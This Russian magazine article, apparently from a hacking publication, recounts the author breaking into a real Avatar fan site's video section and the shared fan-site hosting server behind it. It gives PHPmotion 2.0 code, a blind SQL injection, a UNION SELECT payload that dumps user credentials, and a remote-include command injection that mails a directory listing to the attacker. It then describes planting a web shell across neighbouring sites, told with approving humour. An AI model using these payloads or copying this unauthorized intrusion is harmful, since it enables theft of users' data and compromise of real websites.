$2.700.000.000 — впечатляющая цифра, не правда ли? Именно столько зеленых президентов собрал на сегодняшний день художественный фильм «Аватар». За этой суммой кроется не только изнурительная работа лучших специалистов мира киноиндустрии, но и «сарафанное радио» многочисленных поклонников синих человечков.

Фанаты создали множество сайтов и блогов, посвященных своим кумирам. Одним из самых успешных проектов такого рода является сайт, посвященный Сэму Уортингтону — sam-worthington. net. Основанный 8 января сего года, ресурс уже сейчас посещают около 30 тысяч уникальных посетителей в месяц, большинство из которых даже и не подозревают, что их личные данные находятся под угрозой :).

 

Подготовка плацдарма

Забегая немного вперед, скажу, что одним лишь Сэмом Уортингтоном дело не заканчивается. На одной площадке с samworthington. net находятся десятки других популярных фан-сайтов, о которых я узнал лишь в конце взлома :).

Итак, изучение ресурса было начато с анализа главной страницы. Наметанный глаз поклонника WordPress сразу же узнал любимый движок, который, к сожалению, был непробиваемой на тот момент версии 2.9.2 (открываем html-исходник главной и наблюдаем версию в мета-теге Generator). Этот факт меня особо не огорчил, потому что контент сайта прямо-таки манил своим разнообразием.
Следующий обнаруженный движок — «Coppermine Photo Gallery» (samworthington.net/gallery/). Его версия, опять же, не смогла меня порадовать — html-исходник плюнул в меня надписью “<!—Coppermine Photo Gallery 1.4.26 (stable)—>”.

Далее, еще немного походив по страничкам ресурса, я наткнулся на интересную надпись «Powered free by PHPmotion», находившуюся внизу странички videos.sam-worthington.net. Перейдя по предлагаемой ссылке на www.phpmotion.com, я узнал, что этот движок позиционируется как опенсорсный клон YouTube, и что его можно бесплатно скачать.

Завладев исходниками PHPmotion, я сразу же попытался сравнить версии: мою и ту, что находилась на фан-сайте «Джейка Салли». Единственной зацепкой, позволявшей хоть как-то определить версию движка, являлась открытая для просмотра директория images — в ней находились файлы logo.gif и logo.png, на которых отчетливо было написано, что необходимая мне версия кроется за номером 2.0. Так как на официальном сайте PHPmotion находилась уже версия 3.0, пришлось немного погуглить (ссылку ищи в сносках).

Найдя нужные исходники, я немало удивился тому, что там в самом корне присутствовал файлик VERSION.txt с содержимым «PHPmotion Version 2 STABLE — 28 APRIL 2008». Поскольку такой же файл, оказывается, был и на нужном сервере, дальше с раскопками кода можно было не медлить :).

 

Дырявый phpmotion

Немного покопавшись в исходниках и найдя несколько конструкций вроде следующей в ./audio_selector.php:

<?php
...
$selector_audio_id = mysql_real_
escape_string($_GET['vid']);
...
$selector_sql = "SELECT * FROM audios WHERE
indexer = $selector_audio_id AND approved
='yes'";
...
?>

я, было, обрадовался, но не тут-то было! На запятые и прочие “union select” в переменной $_GET[‘vid’] реагировал банально встроенный в скрипт IDS, причем исходники фильтра я посмотреть так и не смог, потому что, по всей видимости, он находился в файле ./classes/config.php и был зашифрован утилитой phpShield. Оставалось лишь одно — тупая проверка всех файлов движка на наличие в них конструкций и переменных, на которые фильтр не реагировал.

После непродолжительного анализа нужная мне уязвимость была найдена в файле rate.php:

<?php
...
$rate_video_id =
mysql_real_escape_string($_GET['rate_id']);
$rate_video_rating =
mysql_real_escape_string($_GET['rate']);
...
$flag_sql = "SELECT * FROM rating WHERE
video_id = $rate_video_id AND user_id =
$user_id";
$flag_query = @mysql_query($flag_sql);
$flag_count = @mysql_num_rows($flag_query);
if ($flag_count != 0) {
@mysql_close();
error_redirect(117);//"You have already
rated this video. "
}
else {
...
error_redirect(118);//"You request could
not be completed. "
}
...
?>

В вышеприведенном коде налицо банальнейшая blind SQL-инъекция:

http://site.com/phpmotion20/rate.php?rate_id=-9+or+1=1--&rate=1 true, возвращается хэдер Location:
index.php?code=117
http://site.com/phpmotion20/rate.php?rate_id=-9+or+1=2--&rate=1

— false, возвращается хэдер

Location: index.php?code=118

Далее необходимо было написать простейший эксплойт на основе этой инъекции, что я и сделал (ссылку на сплойт ищи в сносках).

Эксплойт основан на принципе «бинарного поиска» и действует по следующей схеме:

  1. Логинимся, получаем куку с PHPSESSID;
  2. Получаем поле username из таблицы admin;
  3. Получаем md5-хеш пароля админа из поля password.
 

Внутри

После нескольких минут работы сплойт выдал мне следующие данные: логин admin и md5 хеш 21232f297a57a5a743894a 0e4a801fc3.

Каково же было мое удивление, когда после расшифровки на plain-text.info оказалось, что под этим хешем скрывался пароль “admin” :).

Но удивляться было некогда, так что я залогинился в админку по адресу videos.sam-worthington.net/siteadmin и стал искать другие баги. Одним из таких багов оказалась более полезная, чем предыдущая, SQL-инъекция в файле ./siteadmin/manage.php:

<?php
...
if ($_POST['search'] != "")
{
//if search
$term = mysql_real_escape_string(
$_POST['search']);
$result_sql = "SELECT * FROM
member_profile WHERE user_id =
$term ORDER BY user_name ASC LIMIT
$set_limit, $limit";
$header_title = 'Todays (new)';
}
...
?>

Используя эту инъекцию, я выудил все логины и пароли пользователей системы следующим образом:

-9 union select 1,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,
20,21,22,23,concat_ws(0x3a,user_
name,password,email_address),25,26
from member_profile/*

Но полезного в них, опять же, ничего не было. Добив до конца эту скулю, я узнал, что file_priv у текущего пользователя был выключен (так что просмотреть исходники каких-либо файлов на системе с помощью данного бага не представлялось возможным), и что MySQL сервер фан-сайта обладал следующими параметрами:

user() - samworvd_ricarda@ localhost
version() - 4.1.22-standard
database() - samworvd_video

Ничего не оставалось кроме того, как более внимательно продолжить изучение исходников PHPmotion.

 

Глубокое проникновение

На этот раз мое внимание зацепилось за файл ./uploader_finished.php, который отвечает за загрузку и перекодировку видео. Смотри сам:

<?php
...
$temp_dir = $_REQUEST['temp_dir'];
// Get all the posted values from
the .param file
$_POST_DATA = getPostData(
$temp_dir, $_REQUEST['tmp_sid']);
...
foreach ($_POST_DATA as
$post_key => $post_value) {
if (preg_match("/^upfile_/i",
$post_key)) {
$uploaded_file_name =
$post_value;
...
}
}
...
function getPostData(
$up_dir, $tmp_sid) {
...
$paramFileName = $up_dir .
$tmp_sid . ".params";
$fh = @fopen($paramFileName,
'r');
...
while (!feof($fh)) {
$buffer = fgets($fh, 4096);
list($key, $value) =
explode('=', trim($buffer));
$value = str_replace(
"~EQLS~", "=", $value);
$value = str_replace(
"~NWLN~", "\r\n", $value);
...
$param_array[$key] = $value;
}
...
return $param_array;
}
...
@exec("$path_to_php $convertor $uploaded_file_name> /
dev/null &");// (>/dev/null & part is what sends to
background)
...
?>

Здесь скрипт получает параметры temp_dir и tmp_sid, в которых кроется имя файла с некоторыми параметрами для перекодировки видео. В этом случае ни один из таких параметров никоим образом не проверяется. А теперь, внимание — способ потрошения этого кода :).

1. Заливаем на левый сервер site.com файл с именем, например, test.txt, в нем пишем следующее:

upfile_=test.mp3;ls -la|mail твое_мыло@gmail.
com~NWLN~id

2. Авторизуемся в PHPmotion;

3. Переходим по ссылке: www.videos.sam-worthington.net/uploader_finished.php?temp_dir=http://site.com/test.txt%00;

4. Видим на своем мыле листинг файлов текущей директории нашего фан-сайта.

При выполнении последних пунктов в скрипте происходит следующее:

1. Переменная $paramFileName принимает значение "http://site.com/test.txt" (".params" после нулл-байта отбрасывается);

2. ~NWLN~ в файле test.txt заменяется новой строкой;

3. Переменная $uploaded_file_name берется из test.txt;

4. Запрос в exec принимает следующий вид:

/usr/bin/php /home/site/public_html/phpmotion20/convertor.php test.mp3;ls -la|mail твое_мыло@gmail.com
id> /dev/null &<

Как видишь, все гениальное просто :). Теперь оставалось лишь найти директории или файлы, которые были бы открыты на запись, но… таковых в текущей директории не оказалось. Так как довольствоваться лишь одной админкой видео-раздела фан-сайта Сэма я не хотел, нужно было любыми способами залить свой шелл хоть куда-нибудь в пределах данного сервера.

 

Веселые соседи

Решив поискать соседей Сэма Уортингтона, я попытался добраться до конфигурационного файла Апача httpd.conf (/usr/local/apache/conf), но здесь снова ждала неудача — он был доступен для чтения только руту (я же имел жалкие права nobody). В данной ситуации мне смог помочь только один из «Reverse IP» сервисов www.yougetsignal.com/tools/web-sites-on-web-server/ и чтение файла /etc/passwd.
Как оказалось, на данном сервере хостится великое множество видео-подразделений известных фан-сайтов зарубежных звезд. Одной из первых открыла объятия для моего шелла Рэйчел МакАдамс (media.rachelmcadams.org). Я залил его в доступную директорию /home/rachelmd/public_html/uploads/avi и рулил множеством фан-сайтов одновременно довольно долгое время.

Вот список наиболее известных ресурсов этого сервера:

Немного погуглив по теме, я узнал, что все основные западные фан-сайты располагаются на бесплатном хостинге от fan-sites.org, один из серверов которого я благополучно поимел :).

 

Хэппи энд

Если ты поклонник творчества какой-либо известной личности, будь то актер или певец, я думаю, что не стоит открывать большое комьюнити, предварительно не позаботившись о его безопасности. Миллионы фанов по всему миру общаются и обмениваются информацией о своих любимцах на базе уязвимых платформ. Так что задумайся: настолько ли необходимо вгонять в краску наших общих кумиров из-за нерадивых поклонников?

 

Links

Оставить мнение

Check Also

Ручная распаковка. Вскрываем кастомный пакер на примере вымогателя GlobeImposter 2.0

При реверсе вирусов зачастую обнаруживается, что малварь накрыта какой-нибудь «навесной» з…